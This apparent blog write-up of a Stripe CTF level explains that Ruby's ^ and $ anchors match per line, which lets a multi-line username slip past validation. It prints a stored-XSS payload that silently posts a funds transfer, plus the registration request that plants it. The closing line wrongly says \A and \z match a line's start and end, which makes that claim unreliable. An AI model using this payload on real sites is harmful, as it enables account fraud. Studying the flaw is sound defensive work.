I was playing around with Stripe's source code for last year's CTF,
and from what I could see online, most people solved Level 4 by using XSS in
the password field. But look at the following line in srv.rb
:
unless username =~ /^\w+$/
ie("Invalid username. Usernames must match /^\w+$/", :register)
end
Turns out there is a hole here as well due to the way Ruby treats the ^
and
$
metacharacters. According to the documentation, the ^
anchor
matches the beginning of a line, instead of the entire string. Thus
puts "match" if "<script>" =~ /^\w$/ # doesn't print anything
puts "match" if "<script>\nx" =~ /^\w$/ #>> match
This allows us to use the username
field as an attack vector.
xss = <<-eos
<script>
$.post('/transfer', { to: 'me', amount: '10' });
</script>
x
eos
Net::HTTP.post_form uri, { username: xss, password: 'x' }
Trips me up every time. Use \A
and \z
to match the beginning and end of a
line in ruby.